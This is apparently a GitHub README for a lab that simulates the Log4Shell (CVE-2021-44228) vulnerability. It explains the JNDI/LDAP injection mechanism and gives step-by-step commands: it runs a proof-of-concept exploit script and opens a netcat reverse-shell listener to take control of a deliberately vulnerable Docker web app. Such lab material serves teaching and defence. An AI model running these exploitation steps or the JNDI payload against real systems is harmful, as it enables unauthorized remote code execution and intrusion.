Skip to content

This will simulate the most recently exposed Apache log4j Vulnerability: Remote Code execution and Denial of Service attacks

Notifications You must be signed in to change notification settings

jahidul-arafat/log4j-vulnerability-simulation

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

17 Commits
 
 
 
 
 
 

Repository files navigation

Exploiting log4j with Vulnerable Web App: Remote Code Execution

The Basics

A. What is CVE_2021-44228 and Log4j

Log4Shell — also known as CVE-2021-44228 — is a critical vulnerability that enables remote code execution in systems using the Apache Foundation's Log4j (a java logging library that is very widely used in the likes of elasticsearch, minecraft and numerous others.), which is an open-source Java library that is extensively used in commercial and open-source software products and utilities.

  • Vulnerability Type: Remote Code Execution
  • Critical
  • Base CVSS Score: 10.0
  • Versions Affected: All versions from 2.0-beta9 to 2.14.1

B. Normal Vs Exploit Log4j Scenario

As mentioned in the referenec doc:

Log4j uses the JNDI API to obtain naming and directory services from several available service providers: LDAP, COS (Common Object Services), Java RMI registry (Remote Method Invocation), DNS (Domain Name Service), etc.

if this functionality is implemented, then we should this line of code somewhere in the program: ${jndi:logging/context-name}

A Normatl Log4j Scenario A Normal Log4j Scenario

Exploit Log4j Scenario

An attacker who can control log messages or log messages parameters can execute arbitrary code on the vulnerable server loaded from LDAP servers when message lookup substitution is enabled. As a result, an attacker can craft a special request that would make the utility remotely downloaded and execute the payload.

Below is the most common example of it using the combination of JNDI and LDAP: ${jndi:ldap://:/}

exploit log4j scenario

Steps of this exploitation as quoted from this reference doc:

  • An attacker inserts the JNDI lookup in a header field that is likely to be logged.
  • The string is passed to log4j for logging.
  • Log4j interpolates the string and queries the malicious LDAP server.
  • The LDAP server responds with directory information that contains the malicious Java Class.
  • Java deserialize (or download) the malicious Java Class and executes it.

C. What is Proof-of-Concept?

A Proof-of-Concept (poc) is a python file that I have modified from my reference to automate the exploitation on the vulnerable web app and gain the remote access to its directories and contents.

A video showing my own exploitation process

asciicast


Lab Setup

Step-1: Clone the git repository in machien from which you will initiate the Remote Code Execution or Exploitation Attack

git clone https://github.com/jahidul-arafat/log4j-vulnerability-simulation

Step-2: Prepare the vulnerable Web Applicaiton

2.1: Download the docker image of the vulnerable web app

> docker pull jahidularafat/log4j-shell-poc:exploit

2.2 Launch my vulnerable web app in a docker container


Instructions/Checklists

  • Make sure you have docker installed and service should be active and running.
  • expose the docker container at port 8080 (this is the default port of your web app in the tomcat server)
  • instead of port mapping i.e. -p 8080:8080, try --network host. This will automatically map the respective exposed docker port to the host machine port and will be using docker0 interface.
  • This docker0 interface is visible through > ip a s
  • Rememeber, docker0 interface is not avaiable or active in MacOS.
  • And My experiment found port mapping using -p is not really meeting our purpose.

> docker run -d -it --expose=8080 --network host --name vulnerableWebApp jahidularafat/log4j-shell-poc:exploit

Now check, your web app should be running Vulnerable Web App is running

Step-3: Be the exploiter Now, let's the fun bEgin


Instruction/Checklist:

  • We will exploit the directory/contents of the webapp running in the docker without acessing the docker container. Thats what the Remote code execution or unauthorized remote access called in a simple term.
  • cd to log4j-vulnerability-simulation/CVE-2021-44228/exploiter-poc
  • Lets highlight two files:
    • poc.py < the proof of concept file>
    • requirements.txt : {colorama, argpasrse}
  • Next, you have to install the requirements using pip3 {recomemded python version 3.6+}
  • For this exploitation to work, you need jdk1.8.0_202. You can have it from here. Download jdk-8u202-linux-x64.tar.gz
  • Now open two terminal in the exploiter machine.
  • In Terminal-1: execute the poc.py file with webport exposed to 8000 and netcat port exposed to 9001 which will be waiting to have a ldap connection at our target remote container {in our case the docker container with the vulnerable web app} at a random port and if this can be done --> your exploitation will be successful.
  • In Terminal-2: Lets the netcat (nc) at the exploiter machine keep listening for a ldap connection to the remote machine. If it can have any (i.e. it got to listen successfully), then you can do whatever you want to do in the remote machine, with unauthorized access.
  • For me, I have used my local machine as exploiter. However, I also have prepared a kalilinux docker image which you can use as your own exploiter. All the required packages are installed in this kalilinux docker images and even you dont need to set the JDK. Its all set there for you. You can find it here.

# Optional: If you want to use kalilinux as your exploiter machine
## I have packed all the necessary packages in this kalilinux image which you may not find in the base image.

> docker pull jahidularafat/kalilinux:jarotball
> docker run -d -it --name exploiterMachine jahidularafat/kalilinux


# Terminal-1: of my local machine
## Enter into the exploiter dir and download the JDK and set it to /usr/bin
> cd log4j-vulnerability-simulation/CVE-2021-44228/exploiter-poc/
> wget https://mirrors.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
> tar -xf jdk-8u202-linux-x64.tar.gz
> mv jdk-8u202 /usr/bin

## Execute the poc.py to begin the exploitation
> python3 poc.py --userip jarotball.log4j.exploit.com --webport 8000 --lport 9001

Remote code to be executed

# Terminal-2: of my local machine
## Let the netcat keep listening for a exploitation at port 9001 and once successful you will be in the web app dir and succeed!!!
> nc -lvnp 9001
Listening on [0.0.0.0] (family 0, port 9001)

References

For Details and if you want you build your own docker file, then follow the below instructutions:

Disclaimer

The above simulation is only for the Lab and learning purpose to have a understanding of how the log4j exploitation could affect your production environment. The author is however will not be responsible for any of the exploitation those you could make and those thereby affecting your systems.

About

This will simulate the most recently exposed Apache log4j Vulnerability: Remote Code execution and Denial of Service attacks

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published